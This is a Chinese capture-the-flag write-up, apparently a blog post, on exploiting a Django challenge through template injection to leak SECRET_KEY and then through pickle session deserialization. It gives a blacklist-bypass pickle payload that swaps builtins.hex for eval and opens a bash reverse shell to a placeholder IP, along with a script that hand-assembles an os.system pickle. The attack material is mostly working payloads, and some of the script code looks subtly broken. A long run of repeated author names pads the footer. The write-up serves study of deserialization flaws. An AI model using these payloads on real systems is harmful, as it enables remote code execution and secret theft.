从picklecode中学习python反序列化

 

正文

python真是so hard
题目链接: https://code-breaking.com/puzzle/8/

SSTI

@login_required
def index(request):
    django_engine = engines['django']
    template = django_engine.from_string('My name is ' + request.user.username)
    return HttpResponse(template.render(None, request))

这里面是存在模板注入的,以前从P师傅博客学习

思路就是: 找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息

{{ request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY }}

session反序列化 + 绕过沙盒

看到settings.py文件中session的设置是PickleSerializer

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'

但是反序列化是做了黑名单

import builtins
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

一般我们都是利用__reduce__函数进行构造

class Run(object):
    def __reduce__(self):
        return (os.system, ("id",))
print(PickleSerializer().dumps(Run()))

Result:
b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'

这里面有一个问题就是,当你变化payload去绕过沙盒的时候,会进行以下类似的编写

builtins.globals()['__builtins__'].getattr(os, "system")

但是最终反序列化后的结果却依旧还是,因为这个是最根本的执行b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'

所以这里我们必须的进行自己构写poc,这里有一个工具内置了一些exp:anapickle,但是这个是python2写的,里面最主要的是利用了__builtin__中这四个函数globals, getattr, dict, apply,这里面牵涉到一个问题就是apply在Python3是废除的,它类似反射,可以调用任意的函数

认识反序列化数据

要想自己写poc,可以先看看2011 blackhat这个议题

在目前的python3代码(/lib/python3.6/pickle.py:101)中可以看到,它总共是有4个版本,并且存在兼容性.

以下面反序列化数据为例,在python2.7下,这个是(Protocol 0版本):

python代码:
__builtin__.globals()
__builtin__.eval('__import__("os").system("id")')

反序列化数据:
c__builtin__\nglobals\n(tRp100\n0c__builtin__\neval\n(S'__import__(\"os\").system(\"id\")'\ntR.

/lib/python3.6/pickle.py文件中可以得到以下一些信息(来自referer中的文章,也增加了自己的一些)

c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
): 压入一个空tuple
t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
I:压入数字型数据到堆栈 
R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
0: POP出栈
p<memo>\n:保存栈顶到内存,
g<memo>\n: 从内存中读取数据并push到栈顶
.:结束pickle

当然还有更多数据,具体可以看blackhat的ppt:

回到上面的例子当中

c__builtin__\nglobals\n(tRp100\n0c__builtin__\neval\n(S'__import__(\"os\").system(\"id\")'\ntR.

第一部分: c__builtin__\nglobals\n(tRp100\n0
1、c就是调用了self.find_class(modname, name);函数,然后寻找到了__builtin__.globals
2、(就是做一个标记,这时候会将后面的数据作为参数
3、t就是从前面的栈构建出一个元祖出来作为参数
4、R这个便是把前面的__builtin__.globals,然后以上面元祖作为参数执行
5、p100将这个结果保存到内存中,方便后面如果要读取的话,可以使用g100作为函数的参数
6、0 pop出栈

第二部分: c__builtin__\neval\n(S'__import__(\"os\").system(\"id\")'\ntR.
第二部分很多地方与上面相似,但是不同的便是上面调用的函数是无参数的,这里eval函数调用,首先是使用了S来表示下面是一个string

Bypass 沙盒

方法一

通过setattrbuiltins.hex替换为builtins.eval,然后调用builtins.hex即可执行代码

cbuiltins
__setattr__
(S'hex'
cbuiltins
__getattribute__
(S'eval'
tRtRcbuiltins
hex
(S'__import__("os").system("bash -c \\\\"bash -i >& /dev/tcp/x.x.x.x/12345 0<&1 2>&1\\\\"")'
tR.

方法二

通过getattr获取到builtins的eval

Protocol 3+的反序列数据认识

python后面都是对数据表达更为精准:

\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.

1、\x80\x04\x95,80是协议的意思,04则表示为这是4版本,95则类似一个框架,下面的当面都是在这个框架中
2、\x1d\x00\x00\x00\x00\x00\x00\x00,进行了对整个序列化数据的长度进行了表示,也就是\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.的长度
3、\x8c\x05posix表示为压栈一个short string,其中长度为5位
4、x94\x93,94是表示存储栈顶到内存
5、\x94\x8c\x02id,压入字符串参数id
6、\x94\x85\x94R,85表示从栈顶构建1个参数为元祖,另外86、87则分别表示2个、3个参数,然后使用R进行函数调用

构写os.system("whoami")的poc

from struct import pack
import sys

flag = {
    "h" : b"\x80\x04\x95",  # protocol 4 version
    "s" : b"\x8c", # push short string; UTF-8 length < 256 bytes
    "x" : b"\x94", # store top of the stack in memo
    "(" : b"\x93", # same as GLOBAL but using names on the stacks
    ")" : b"\x85", # build 1-tuple from stack top
    "))" : ")", # push empty tuple
    "r" : "R", # apply callable to argtuple, both on stack
    "i" : "K", # push 1-byte unsigned int
    "ii" : "M" # push 2-byte unsigned int
}

# b'\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

# os.system("whoami")
str_ = '''posix
system
(
whoami
)'''.split("\n")
#print str_

f = ""
# os
f += pack("<s", flag['s'])
f += pack("<b", len(str_[0]))
f += str_[0]

# .
f += pack("<ss", flag['x'], flag['s'])

# system
f += pack("<b", len(str_[1]))
f += str_[1]

f += pack("<ss", flag['x'], flag['('])

# whoami
f += pack("<ss", flag['x'], flag['s'])
f += pack("<b",len(str_[3]))
f += str_[3]

# end
f += pack("<ss", flag['x'], b"\x85")
f += pack("<ss", flag['x'], flag['r'])
f += pack("<ss", flag['x'], ".") 

# begin
buf = ''
buf += pack("<3s", flag['h'])  # head
buf += pack("<i4x", len(f)) # str len
buf += f

sys.stdout.write(repr(buf))

referer

Python反序列化漏洞的花式利用

posted @   l3m0n  阅读(1135)  评论(0编辑  收藏  举报
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
点击右上角即可分享
微信分享提示